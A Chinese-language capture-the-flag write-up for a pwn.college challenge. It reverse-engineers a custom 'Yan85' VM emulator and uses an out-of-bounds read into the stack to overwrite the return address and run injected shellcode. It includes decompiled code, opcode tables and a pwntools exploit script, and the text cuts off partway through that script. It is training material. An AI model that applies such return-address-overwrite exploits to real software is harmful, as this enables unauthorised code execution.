&lt;p&gt;Flag: &lt;code&gt;pwn.college{Mipexe2lNIdsBTQy-Vxsp5mdVZl.0FMzMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 7.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write a full exploit for a custom VM involving injecting shellcode and a method of tricking the challenge into executing it by locating and utilizing a bug in the challenge. Note, ASLR is disabled!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  const char **v4; // [rsp+0h] [rbp-420h] BYREF
  int v5; // [rsp+Ch] [rbp-414h]
  _BYTE buf[1024]; // [rsp+10h] [rbp-410h] BYREF
  int v7; // [rsp+410h] [rbp-10h]
  __int16 v8; // [rsp+414h] [rbp-Ch]
  char v9; // [rsp+416h] [rbp-Ah]
  __int64 savedregs; // [rsp+420h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+428h] [rbp+8h] BYREF

  v5 = argc;
  v4 = argv;
  printf(&quot;[+] Welcome to %s!\n&quot;, *argv);
  puts(&quot;[+] This challenge is an custom emulator. It emulates a completely custom&quot;);
  puts(&quot;[+] architecture that we call \&quot;Yan85\&quot;! You&apos;ll have to understand the&quot;);
  puts(&quot;[+] emulator to understand the architecture, and you&apos;ll have to understand&quot;);
  puts(&quot;[+] the architecture to understand the code being emulated, and you will&quot;);
  puts(&quot;[+] have to understand that code to get the flag. Good luck!&quot;);
  puts(&quot;[+]&quot;);
  puts(&quot;[+] This level is a full Yan85 emulator. You&apos;ll have to reason about yancode,&quot;);
  puts(&quot;[+] and the implications of how the emulator interprets it!&quot;);
  setvbuf(_bss_start, 0LL, 2, 1uLL);
  memset(buf, 0, sizeof(buf));
  v7 = 0;
  v8 = 0;
  v9 = 0;
  printf(&quot;[!] This time, YOU&apos;RE in control! Please input your yancode: &quot;);
  puts(&quot;[+] This challenge doesn&apos;t allow you to call open via the sys instruction, but luckily,&quot;);
  puts(&quot;[+] it makes a memory error that will let you accomplish your goals. Good luck!&quot;);
  read(0, buf, 0x300uLL);
  sp_ = (__int64)&amp;amp;v4;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)&amp;amp;v4) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(&quot;[!] Let&apos;s take a look at the stack before we execute your yancode:&quot;);
  DUMP_STACK(sp_, sz_);
  printf(&quot;[-] the saved frame pointer (of main) is at %p\n&quot;, (const void *)bp_);
  printf(&quot;[-] the saved return address is at %p\n&quot;, (const void *)rp_);
  printf(&quot;[-] the saved return address is currently pointing to %p.\n&quot;, *(const void **)rp_);
  puts(&quot;[+]&quot;);
  puts(&quot;[+] This is a *teaching* challenge, which means that it will output&quot;);
  puts(&quot;[+] a trace of the Yan85 code as it processes it. The output is here&quot;);
  puts(&quot;[+] for you to understand what the challenge is doing, and you should use&quot;);
  puts(&quot;[+] it as a guide to help with your reversing of the code.&quot;);
  puts(&quot;[+]&quot;);
  interpreter_loop((__int64)buf);
  puts(&quot;[+] Exited interpreter loop! I hope you accomplished what you wanted!&quot;);
  puts(&quot;[!] Let&apos;s take a look at the stack after your yancode executed:&quot;);
  DUMP_STACK(sp_, sz_);
  printf(&quot;[-] the saved frame pointer (of main) is at %p\n&quot;, (const void *)bp_);
  printf(&quot;[-] the saved return address is at %p\n&quot;, (const void *)rp_);
  printf(&quot;[-] the saved return address is now pointing to %p.\n&quot;, *(const void **)rp_);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Wow, Yan85 Virtual Machine!&lt;/p&gt;
&lt;p&gt;第一次见这种自定义指令集的题，感觉还是很新颖的！OK，通过简单的观察分析我们大致可以知道，这题会使用一套自定义指令集，称为 &lt;code&gt;yancode&lt;/code&gt;！而剩下的不用我说你应该也清楚，那就是用这套自定义指令集来写 shellcode，想办法获取 flag。&lt;/p&gt;
&lt;p&gt;所以得先逆向分析搞清楚这个虚拟机提供了哪些指令，指令的机器码等等这些最基本的元素，才有能力用它编写 shellcode，攻击的思路则与用什么指令集无关，随你发挥～&lt;/p&gt;
&lt;p&gt;程序的 main 函数我贴在上面了，我本来想尝试通过 &lt;code&gt;read(0, buf, 0x300uLL);&lt;/code&gt; 来覆盖返回地址的，但是我们的输入大小被限制在 &lt;code&gt;0x300&lt;/code&gt; 了，根本摸不到……也是，这可是传说中的 Yan85，怎么可能那么容易哈哈哈。那么继续往下看，我们发现，它会调用 &lt;code&gt;interpreter_loop((__int64)buf)&lt;/code&gt; 来解析 buf 中的指令。&lt;/p&gt;
&lt;p&gt;这个函数的定义如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall interpreter_loop(__int64 a1)
{
  unsigned __int8 v1; // al
  __int64 result; // rax

  while ( 1 )
  {
    result = *(unsigned __int8 *)(a1 + 1029);
    if ( (_BYTE)result == 0xFF )
      break;
    v1 = *(_BYTE *)(a1 + 1029);
    *(_BYTE *)(a1 + 1029) = v1 + 1;
    interpret_instruction(
      a1,
      *(unsigned __int16 *)(a1 + 3LL * v1) | ((unsigned __int64)*(unsigned __int8 *)(a1 + 3LL * v1 + 2) &amp;lt;&amp;lt; 16));
  }
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;它通过 &lt;code&gt;interpret_instruction(unsigned __int8 *a1, __int64 a2)&lt;/code&gt; 将 buf 中指令的机器码解析为 yancode 的伪代码。&lt;/p&gt;
&lt;p&gt;并且，当 &lt;code&gt;(_BYTE)result == 0xFF&lt;/code&gt; 时，结束 &lt;code&gt;interpreter_loop&lt;/code&gt;，也就是停止翻译指令了。结合下文的寄存器分析我们知道，这个 &lt;code&gt;result&lt;/code&gt; 其实就是 &lt;code&gt;i&lt;/code&gt; 寄存器。&lt;/p&gt;
&lt;p&gt;而 &lt;code&gt;*(unsigned __int16 *)&amp;amp;a1[3 * v1] | ((unsigned __int64)a1[3 * v1 + 2] &amp;lt;&amp;lt; 16)&lt;/code&gt; 所做的就是合并出一条三字节指令。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;interpret_instruction&lt;/code&gt; 函数的定义如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall interpret_instruction(unsigned __int8 *a1, __int64 a2)
{
  __int64 result; // rax

  printf(
    &quot;[V] a:%#hhx b:%#hhx c:%#hhx d:%#hhx s:%#hhx i:%#hhx f:%#hhx\n&quot;,
    a1[1024],
    a1[1025],
    a1[1026],
    a1[1027],
    a1[1028],
    a1[1029],
    a1[1030]);
  printf(&quot;[I] op:%#hhx arg1:%#hhx arg2:%#hhx\n&quot;, BYTE1(a2), (unsigned __int8)a2, BYTE2(a2));
  if ( (a2 &amp;amp; 0x400) != 0 )
    interpret_imm(a1, a2);
  if ( (a2 &amp;amp; 0x800) != 0 )
    interpret_add(a1, a2);
  if ( (a2 &amp;amp; 0x100) != 0 )
    interpret_stk(a1, a2);
  if ( (a2 &amp;amp; 0x8000) != 0 )
    interpret_stm(a1, a2);
  if ( (a2 &amp;amp; 0x1000) != 0 )
    interpret_ldm(a1, a2);
  if ( (a2 &amp;amp; 0x200) != 0 )
    interpret_cmp(a1, a2);
  if ( (a2 &amp;amp; 0x2000) != 0 )
    interpret_jmp(a1, a2);
  result = BYTE1(a2) &amp;amp; 0x40;
  if ( (a2 &amp;amp; 0x4000) != 0 )
    return interpret_sys(a1, a2);
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里，我们可以看到 Yan85 提供的寄存器（&lt;code&gt;a、b、c、d、s、i、f&lt;/code&gt;）在内存中的保存位置分别是 &lt;code&gt;a1[1024]&lt;/code&gt; ~ &lt;code&gt;a1[1030]&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;我大胆猜测一下这些寄存器的用途：&lt;code&gt;a、b、c、d&lt;/code&gt; 应该是四个通用寄存器；&lt;code&gt;s&lt;/code&gt; 应该是栈指针寄存器；&lt;code&gt;i&lt;/code&gt; 应该是指令指针寄存器；&lt;code&gt;f&lt;/code&gt; 应该是标志寄存器。&lt;/p&gt;
&lt;p&gt;然后，第 14 行会输出一个提示信息告诉我们当前 &lt;code&gt;opcode&lt;/code&gt;、&lt;code&gt;arg1&lt;/code&gt;、&lt;code&gt;arg2&lt;/code&gt; 的值，这对我们理解内存中的数据如何解析成指令很有帮助。&lt;/p&gt;
&lt;p&gt;这里 IDA 的反汇编使用了 &lt;code&gt;BYTE1&lt;/code&gt;、&lt;code&gt;BYTE2&lt;/code&gt; 宏。它们的作用分别是取一个数据的第 1 位、第 2 位。同理，&lt;code&gt;BYTE0&lt;/code&gt; 取第 1 位，类似的宏应该有 &lt;code&gt;BYTE0 ~ BYTE7&lt;/code&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我们以数据 &lt;code&gt;x = 0x1122334455667788&lt;/code&gt; 为例，&lt;code&gt;BYTE1&lt;/code&gt; 做的应该是 &lt;code&gt;(x &amp;gt;&amp;gt; 8) &amp;amp; 0xFF&lt;/code&gt;，得到 &lt;code&gt;0x77&lt;/code&gt;；&lt;code&gt;BYTE2&lt;/code&gt; 做的应该是 &lt;code&gt;(x &amp;gt;&amp;gt; 16) &amp;amp; 0xFF&lt;/code&gt;，得到 &lt;code&gt;0x66&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;知道了这些后，我很很容易推断出 yancode 使用的三字节指令在内存中的布局 (LSB) 为：&lt;code&gt;arg2 opcode arg1&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;最后，&lt;code&gt;opcode&lt;/code&gt; 的判断是根据 &lt;code&gt;(a2 &amp;amp; N) != 0&lt;/code&gt; 来实现的。其中 &lt;code&gt;N&lt;/code&gt; 对于不同的 &lt;code&gt;opcode&lt;/code&gt; 来说是不一样的。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;假设我需要执行 &lt;code&gt;add&lt;/code&gt; 操作，那就必须满足 &lt;code&gt;(a2 &amp;amp; 0x800) != 0&lt;/code&gt;，其中 &lt;code&gt;a2&lt;/code&gt; 是你的一整条指令（操作码加操作数）。程序会判断你这条指令与 &lt;code&gt;0x800&lt;/code&gt; 的逻辑与结果是否为 0，不为 0 则断言这条指令的 &lt;code&gt;opcode&lt;/code&gt; 是 &lt;code&gt;add&lt;/code&gt;，再利用你给的 &lt;code&gt;args&lt;/code&gt; 去调用 &lt;code&gt;interpret_add(a1, a2)&lt;/code&gt;，也就是解析 &lt;code&gt;add&lt;/code&gt; 指令的具体操作。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0x800&lt;/code&gt; 的二进制表示是 &lt;code&gt;0b100000000000&lt;/code&gt;，所以为了得到一条 &lt;code&gt;add&lt;/code&gt; 指令，我们要做的就是令 &lt;code&gt;bin(a2)&lt;/code&gt; 的第 11 位为 1。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;好了，下面列张表，记录一下各指令的 &lt;code&gt;opcode&lt;/code&gt;，答案不为一，这里给出的是最小表示。另外，我顺便还分析了一下每条指令的功能，所以这张表也顺便记录了不同指令的使用格式和简介。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Opcode&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x04&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;imm reg, byte&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Load &lt;code&gt;byte&lt;/code&gt; to &lt;code&gt;reg&lt;/code&gt; register.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x08&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;add reg1, reg2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Add &lt;code&gt;reg2&lt;/code&gt; to &lt;code&gt;reg1&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x01&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;stk reg1, reg2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Push &lt;code&gt;reg2&lt;/code&gt; if &lt;code&gt;reg2&lt;/code&gt; is not zero, pop &lt;code&gt;reg1&lt;/code&gt; if &lt;code&gt;reg1&lt;/code&gt; is not zero.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x80&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;stm reg1, reg2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;It does the same as &lt;code&gt;*reg1 = reg2&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ldm reg1, reg2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;It does the same as &lt;code&gt;reg1 = *reg2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x02&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cmp reg1, reg2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Compare two registers and set the &lt;code&gt;f&lt;/code&gt; register status.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x20&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jmp flags, reg&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;If &lt;code&gt;flags != 0&lt;/code&gt; and &lt;code&gt;flags&lt;/code&gt; setted in &lt;code&gt;f&lt;/code&gt;, jump to the address saved in &lt;code&gt;reg&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x40&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sys SYS_num, reg&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Execute specific &lt;code&gt;SYS_num&lt;/code&gt; system call, return value saved in &lt;code&gt;reg&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;对于 &lt;code&gt;cmp&lt;/code&gt; 指令，不同比较结果的标志位状态表如下：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;code&gt;f&lt;/code&gt; status&lt;/th&gt;
&lt;th&gt;Compare results&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;reg1 &amp;lt; reg2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x02&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;reg1 &amp;gt; reg2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x04&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;reg1 = reg2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x01&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;reg1 != reg2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x08&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;reg1, reg2 = 0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;对于 &lt;code&gt;sys&lt;/code&gt; 指令，我们可用的系统调用号如下：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;NR&lt;/th&gt;
&lt;th&gt;SYSCALL NAME&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x02&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SYS_open&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x08&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SYS_read_code&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SYS_read_memory&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x01&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SYS_write&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x20&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SYS_sleep&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x04&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SYS_exit&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;接下来是搞清楚寄存器的机器码，我们发现一个 &lt;code&gt;describe_register&lt;/code&gt; 函数，作用是把寄存器机器码解析为对应寄存器名称。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int16 *__fastcall describe_register(char a1)
{
  switch ( a1 )
  {
    case 1:
      return aAbcdsif;
    case 8:
      return &amp;amp;aAbcdsif[1];
    case 16:
      return &amp;amp;aAbcdsif[2];
    case 2:
      return &amp;amp;aAbcdsif[3];
    case 64:
      return &amp;amp;aAbcdsif[4];
    case 4:
      return &amp;amp;aAbcdsif[5];
    case 32:
      return &amp;amp;aAbcdsif[6];
  }
  if ( a1 )
    return (__int16 *)&quot;?&quot;;
  return (__int16 *)&quot;NONE&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;.rodata:00000000004031CC aAbcdsif:                               ; DATA XREF: describe_register+13↑o
.rodata:00000000004031CC                                         ; describe_register+22↑o ...
.rodata:00000000004031CC                 text &quot;UTF-16LE&quot;, &apos;abcdsif&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还有一个 &lt;code&gt;write_register&lt;/code&gt; 函数，用来向寄存器写入数据：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_BYTE *__fastcall write_register(_BYTE *a1, char a2, char a3)
{
  _BYTE *result; // rax

  switch ( a2 )
  {
    case 1:
      result = a1;
      a1[1024] = a3;
      break;
    case 8:
      result = a1;
      a1[1025] = a3;
      break;
    case 16:
      result = a1;
      a1[1026] = a3;
      break;
    case 2:
      result = a1;
      a1[1027] = a3;
      break;
    case 64:
      result = a1;
      a1[1028] = a3;
      break;
    case 4:
      result = a1;
      a1[1029] = a3;
      break;
    case 32:
      result = a1;
      a1[1030] = a3;
      break;
    default:
      crash(a1, &quot;unknown register&quot;);
  }
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;综合上面两个函数我们得到了不同寄存器所对应的机器码和寄存器在内存中的偏移地址：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Opcode&lt;/th&gt;
&lt;th&gt;Register&lt;/th&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x01&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x400&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x08&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x401&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x402&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x02&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;d&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x403&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x40&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;s&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x404&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x04&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;i&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x405&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x20&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;f&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x406&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Undefined&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;?&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Non-existent&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\x00&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NONE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Non-existent&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;某些非法情况会触发 &lt;code&gt;crash&lt;/code&gt; 函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn crash(__int64 a1, const char *a2)
{
  printf(&quot;Machine CRASHED due to: %s\n&quot;, a2);
  ((void (__fastcall __noreturn *)(__int64, __int64))sys_exit)(a1, 1LL);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至此，我们基本上已经摸清楚整个 Yan85 架构了，下面来说说这题的攻击思路。&lt;/p&gt;
&lt;p&gt;一开始我以为是要用纯 yancode 来写 shellcode，后来发现确实要用 yancode，但并非整个 shellcode 都得用 yancode 来写。这困扰了我将近一天时间（其实也就几个小时，因为我这几天畏难摆烂，所以真正在思考的时间很少……），期间我想了尝试用 yancode 读取 flag 的各种姿势，差点放弃……因为这个先入为主的思维定势浪费了不少时间，希望下次别了。提到这个，我越发觉得需要早点入手一本纸质版的***《思考，快与慢》***了。电子版着实看不下去，还是纸质版的适合我。虽然这个寒假应该不会有什么时间读……不管了，先买了再说，反正早晚得有～&lt;/p&gt;
&lt;p&gt;嗯……我注意到 &lt;code&gt;SYS_read_memory&lt;/code&gt; 系统调用内部进行了一些有趣的操作：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ( (a2 &amp;amp; 0x10) != 0 )
{
  puts(&quot;[s] ... read_memory&quot;);
  v5 = sys_read(a1, a1[1024], &amp;amp;a1[a1[1025] + 0x300], a1[1026]);
  write_register(a1, BYTE2(a2), v5);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ssize_t __fastcall sys_read(__int64 a1, int a2, void *a3, size_t a4)
{
  return read(a2, a3, a4);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// attributes: thunk
ssize_t read(int fd, void *buf, size_t nbytes)
{
  return read(fd, buf, nbytes);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;它把数据读到 &lt;code&gt;&amp;amp;a1[a1[1025] + 0x300]&lt;/code&gt; 这个位置。我们发现 &lt;code&gt;main&lt;/code&gt; 中的 &lt;code&gt;read(0, buf, 0x300uLL);&lt;/code&gt; 只让我们读最高 &lt;code&gt;0x300&lt;/code&gt; 字节到 &lt;code&gt;buf&lt;/code&gt;，但是这个 &lt;code&gt;SYS_read_memory&lt;/code&gt; 却可以让我们把数据读到 &lt;code&gt;buf[offset + 0x300]&lt;/code&gt; 处。敏感吗？熟悉吗？&lt;code&gt;0x300&lt;/code&gt;？这不是法外之地吗？&lt;/p&gt;
&lt;p&gt;很幸运，我们确实可以用它来覆盖返回地址。但这里我脑子一抽又踩了一个坑，我想着把返回地址覆盖为 &lt;code&gt;sys_open&lt;/code&gt; 函数的地址，然后发现就算我可以返回到 &lt;code&gt;sys_open&lt;/code&gt; 又如何……&lt;/p&gt;
&lt;p&gt;好在五分钟后我就从这个破坑里面爬出来了……我意识到应该结合 main 中的 read，把我的 shellcode 读到内存中，返回地址覆盖为我 shellcode 的起始地址，这才对嘛。&lt;/p&gt;
&lt;p&gt;所以最后的攻击链应该是 main 中的 read 读取 yancode + shellcode，其中 yancode 负责调用 &lt;code&gt;SYS_read_memory&lt;/code&gt; 来覆盖返回地址，返回地址我们修改为 shellcode 的起始地址，perfect.&lt;/p&gt;
&lt;p&gt;调用 &lt;code&gt;SYS_read_memory&lt;/code&gt; 需要用到的三个参数分别通过三个寄存器传参。&lt;code&gt;a&lt;/code&gt; 传递文件描述符、&lt;code&gt;b&lt;/code&gt; 传递偏移、&lt;code&gt;c&lt;/code&gt; 传递最大读取大小。&lt;/p&gt;
&lt;p&gt;对了，因为 &lt;code&gt;buf[0x300]&lt;/code&gt; 到返回地址还有一段不小的距离，所以我们的 offset 直接选择三字节指令可承受的最大值 &lt;code&gt;0xff&lt;/code&gt;，这个随意，只是想负责的说一下以便于你可以更好的理解我的 exp。&lt;/p&gt;
&lt;p&gt;最后，说说做完这题后的感想吧……我觉得自己在逆向工程方面的能力还是有巨大提升空间的（对的被你看出来了，我就是菜，又怎样 LOL），一定要静下心来逆向分析啊，这太重要了。讲真这题的逆向其实很简单，就是单纯畏难不想看……我也搞不懂为什么每次碰到难题都会特别的畏难，没有激情，艹我可不能只会擅长的东西啊……动态调试能力与之前相比倒是提升了很多，真棒～&lt;/p&gt;
&lt;p&gt;再分享一下刚做完的时候的&lt;a href=&quot;https://memos.cubeyond.net/m/HjyuorX7yxKLimUQskfZYP&quot;&gt;状态&lt;/a&gt; LOL&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    asm,
    context,
    gdb,
    log,
    os,
    p64,
    process,
    remote,
    shellcraft,
    time,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./toddlerone-level-7-0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *interpret_sys+397
b *main+715
c
&quot;&quot;&quot;

yancode_length = 0
stack_base = 0x7FFFFFFDE000
padding_to_ret = b&quot;&quot;.ljust(0x19, b&quot;A&quot;)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    global yancode_length

    &quot;&quot;&quot;
    arg1 op arg2
    &quot;&quot;&quot;
    yancode = b&quot;\x01\x04\x00&quot;  # imm a, 0x00
    yancode += b&quot;\x08\x04\xff&quot;  # imm b, 0xff
    yancode += b&quot;\x10\x04\x21&quot;  # imm c, 0x21
    yancode += b&quot;\x10\x40\x01&quot;  # sys 0x02, a
    yancode += b&quot;\x04\x04\xff&quot;  # imm i, 0xff
    yancode_length = len(yancode)

    shellcode = yancode
    shellcode += asm(shellcraft.chmod(&quot;f&quot;, 0o4))

    return shellcode


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag f&quot;)

        send_payload(target, payload)

        ret2shellcode = padding_to_ret
        ret2shellcode += p64(stack_base + yancode_length)

        target.sendlineafter(b&quot;... read_memory&quot;, ret2shellcode)

        response = target.recvall(timeout=5)
        log.debug(response.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;))

        try:
